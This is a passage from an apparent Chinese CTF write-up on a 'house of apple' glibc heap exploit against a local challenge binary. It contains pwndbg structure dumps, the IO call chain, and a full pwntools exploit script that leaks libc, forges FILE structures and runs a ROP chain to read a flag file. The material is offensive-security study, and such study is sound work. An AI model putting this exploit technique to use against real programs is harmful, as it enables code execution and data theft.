  vtable = 0x7f46388160c0 <_IO_wfile_jumps>
}

_IO_wide_data

pwndbg>  p *(struct _IO_wide_data*)   0x55d30da0c0a0
$4 = {
  _IO_read_ptr = 0x0,
  _IO_read_end = 0x0,
  _IO_read_base = 0x0,
  _IO_write_base = 0x0,
  _IO_write_ptr = 0x0,
  _IO_write_end = 0x0,
  _IO_buf_base = 0x0,
  _IO_buf_end = 0x0,
  _IO_save_base = 0x0,
  _IO_backup_base = 0x0,
  _IO_save_end = 0x0,
  _IO_state = {
    __count = 0,
    __value = {
      __wch = 0,
      __wchb = "\000\000\000"
    }
  },
  _IO_last_state = {
    __count = 0,
    __value = {
      __wch = 0,
      __wchb = "\000\000\000"
    }
  },
  _codecvt = {
    __cd_in = {
      step = 0x0,
      step_data = {
        __outbuf = 0x0,
        __outbufend = 0x0,
        __flags = 0,
        __invocation_counter = 0,
        __internal_use = 0,
        __statep = 0x0,
        __state = {
          __count = 0,
          __value = {
            __wch = 0,
            __wchb = "\000\000\000"
          }
        }
      }
    },
    __cd_out = {
      step = 0x0,
      step_data = {
        __outbuf = 0x0,
        __outbufend = 0x0,
        __flags = 0,
        __invocation_counter = 0,
        __internal_use = 0,
        __statep = 0x0,
        __state = {
          __count = 0,
          __value = {
            __wch = 0,
            __wchb = "\000\000\000"
          }
        }
      }
    }
  },
  _shortbuf = L"",
  _wide_vtable = 0x55d30da0c188
}

_IO_jump_t

pwndbg>  p  *(const struct _IO_jump_t *) 0x55d30da0c188
$5 = {
  __dummy = 0,
  __dummy2 = 0,
  __finish = 0x0,
  __overflow = 0x0,
  __underflow = 0x0,
  __uflow = 0x0,
  __pbackfail = 0x0,
  __xsputn = 0x0,
  __xsgetn = 0x0,
  __seekoff = 0x0,
  __seekpos = 0x0,
  __setbuf = 0x0,
  __sync = 0x0,
  __doallocate = 0x7f463876a1fa <svcudp_reply+26>,
  __read = 0x67616c662f2e,
  __write = 0x7f463863a8a1 <__bindtextdomain+49>,
  __seek = 0x0,
  __close = 0x55d30da0c1f0,
  __stat = 0x7f46386562ec <__mpn_mul_n+156>,
  __showmanyc = 0x7f463862a3e5 <iconv+197>,
  __imbue = 0x0
}

修改top_chunk大小:

add(6,0x460,b'ggg')
add(7,0x430,b'hhh')
delete(4)
add(8,0x460,b'iii') #chunk4 --> largebin

chunk8=heap_base+0x2df0
top_chunk_3=heap_base+0x3260+3

plll=p64(chunk8+0x30)+p64(libc_base+0x21a0e0)+p64(chunk8+0x30)+p64(top_chunk_3-0x20)
edit(4,plll)

delete(7)
delete(15)

add(9,0x450,b'a') #largebin attack   top_size-->0x55

触发IO调用:

p.sendafter("mew mew mew~~~~~~\n",'CAT | r00t QWB QWXF$\xff')
p.sendlineafter("plz input your cat choice:\n",str(1))
p.sendlineafter("plz input your cat idx:\n",str(10))
#dbg()
p.sendlineafter("plz input your cat size:\n",str(0x468))

触发流程:

calloc

_int_malloc

sysmalloc

__malloc_assert

__fxprintf

locked_vfxprintf

__vfprintf_internal

_IO_wfile_xsputn

_IO_wdefault_xsputn

_IO_wfile_overflow

_IO_wdoallocbuf

magic_gadget



leave_ret

add_rsp18

orw


>

​​

​​​​

​​

​​​

​​

​​​

​​

​​

完整exp:
from pwn import *
p=process('./pwn')
libc=ELF('./libc.so.6')
context.log_level='debug'

s       = lambda data               :p.send(data)
sa      = lambda x, y               :p.sendafter(x, y)
sl      = lambda data               :p.sendline(data)
sla     = lambda x, y               :p.sendlineafter(x, y)
r       = lambda num                :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
itr     = lambda                    :p.interactive()
uu32    = lambda data,num           :u32(p.recvuntil(data)[-num:].ljust(4,b'\x00'))
uu64    = lambda data,num           :u64(p.recvuntil(data)[-num:].ljust(8,b'\x00'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
l64     = lambda      :u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
l32     = lambda      :u32(p.recvuntil("\xf7")[-4:].ljust(4,b"\x00"))
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
context.terminal = ['gnome-terminal','-x','sh','-c']

def dbg():
   gdb.attach(proc.pidof(p)[0])
   pause()


def add(idx,size,cont):
    sa('mew mew mew~~~~~~', 'CAT | r00t QWB QWXF$\xff')
    sla('plz input your cat choice:\n',str(1))
    sla('plz input your cat idx:\n',str(idx))
    sla('plz input your cat size:\n',str(size))
    sa('plz input your content:\n',cont)
def delete(idx):
    sa('mew mew mew~~~~~~', 'CAT | r00t QWB QWXF$\xff')
    sla('plz input your cat choice:\n', str(2))
    sla('plz input your cat idx:\n',str(idx))
def show(idx):
    sa('mew mew mew~~~~~~', 'CAT | r00t QWB QWXF$\xff')
    sla('plz input your cat choice:\n', str(3))
    sla('plz input your cat idx:\n',str(idx))
def edit(idx,cont):
    sa('mew mew mew~~~~~~', 'CAT | r00t QWB QWXF$\xff')
    sla('plz input your cat choice:\n', str(4))
    sla('plz input your cat idx:\n',str(idx))
    sa('plz input your content:\n', cont)

sa('mew mew mew~~~~~~','LOGIN | r00t QWB QWXFadmin')


add(15,0x450,b'15s')
add(14,0x450,b'14s')
delete(15)
add(13,0x460,b'13s')
show(15)

libc_base=l64()-0x21a0e0
li(hex(libc_base))

heap_base=u64(p.recvuntil("\x55")[-6:].ljust(8,b"\x00"))-0x290
li(hex(heap_base))

IO_list_all= libc_base + libc.sym['_IO_list_all']
lock = libc_base+0x21ba60
magic_gadget = libc_base+0x16a1fa
wfile= libc_base + libc.sym['_IO_wfile_jumps']
stderr = libc_base + libc.sym['stderr']

open_addr = libc_base + libc.sym['open']
read_addr = libc_base + libc.sym['read']
write_addr = libc_base + libc.sym['write']
close_addr= libc_base + libc.sym['close']
pop_rax=libc_base+0x0000000000045eb0
pop_rdi=libc_base+0x000000000002a3e5
pop_rsi=libc_base+0x000000000002be51
pop_rdx12=libc_base+0x000000000011f497
leave_ret = libc_base + libc.search(asm('leave;ret;')).__next__()
chunk0=heap_base+0xfc0
orw_addr=chunk0 + 0xe0 + 0xe8 + 0x70
li('orw_addr = '+hex(orw_addr))

add(12,0x450,b'12s') #recycle chunk15

pl=p64(0)*7
pl+=p64(orw_addr)
pl+=p64(0)*7
pl+=p64(lock)
pl+=p64(0)*2
pl+=p64(chunk0 + 0xe0) 
pl+=p64(0)*6
pl+=p64(wfile)

pl+=p64(0)*0x1c
pl+=p64(chunk0 + 0xe0 + 0xe8)

pl+=p64(0)*0xd
pl+=p64(magic_gadget)

add_rsp18=libc_base+0x000000000003a8a1
syscall=libc_base+0xea5b9

orw = b'./flag\x00\x00'+p64(add_rsp18)+p64(0)+p64(heap_base+0x1218-0x28)
#close
orw += p64(leave_ret)
orw += p64(pop_rdi)
orw += p64(0)
orw += p64(close_addr)
#open
orw += p64(pop_rdi)
orw += p64(orw_addr)
orw += p64(pop_rsi) + p64(0)
orw += p64(pop_rax) + p64(2)
orw += p64(syscall)
#read
orw += p64(pop_rdi) + p64(0)
orw += p64(pop_rsi) + p64(orw_addr + 0x100)
orw += p64(pop_rdx12) + p64(0x50) + p64(0)
orw += p64(read_addr)
#puts
orw += p64(pop_rdi) + p64(1)
orw += p64(pop_rsi) + p64(orw_addr + 0x100)
orw += p64(pop_rdx12) + p64(0x50) + p64(0)
orw += p64(write_addr)

pl+=orw

add(0,0x428,pl)

add(1,0x460,'bbb')
add(2,0x418,'ccc') 
delete(0)

add(3,0x460,'ddd')
delete(2)

pll=p64(libc_base+0x21a0d0)*2+p64(heap_base+0xfc0)+p64(stderr-0x20)
edit(0,pll)

add(4,0x440,'eee')  #attack
add(5,0x418,'fff')  #recycle chunk2

add(6,0x460,b'ggg')
add(7,0x430,b'hhh')
delete(4)
add(8,0x460,b'iii') #chunk4 --> largebin

chunk8=heap_base+0x2df0
top_chunk_3=heap_base+0x3260+3

plll=p64(chunk8+0x30)+p64(libc_base+0x21a0e0)+p64(chunk8+0x30)+p64(top_chunk_3-0x20)
edit(4,plll)

delete(7)
delete(15)

add(9,0x450,b'a') #largebin attack   top_size-->0x55

p.sendafter("mew mew mew~~~~~~\n",'CAT | r00t QWB QWXF$\xff')
p.sendlineafter("plz input your cat choice:\n",str(1))
p.sendlineafter("plz input your cat idx:\n",str(10))
#dbg()
p.sendlineafter("plz input your cat size:\n",str(0x468))



itr()

​​​

​​​

参考:

感谢roderick、ZIKH26、pursue、winmt师傅们的博客 orz

[原创] House of apple 一种新的glibc中IO攻击方法 (2)-Pwn-看雪论坛-安全社区|安全招聘|bbs.pediy.com (kanxue.com)

关于house of apple的学习总结 | ZIKH26's Blog

学不完的IO - Pursue (rmrfsad.github.io)

house of apple - winmt - 博客园 (cnblogs.com)


文章来源: https://xz.aliyun.com/t/12426
如有侵权请联系:admin#unsafe.sh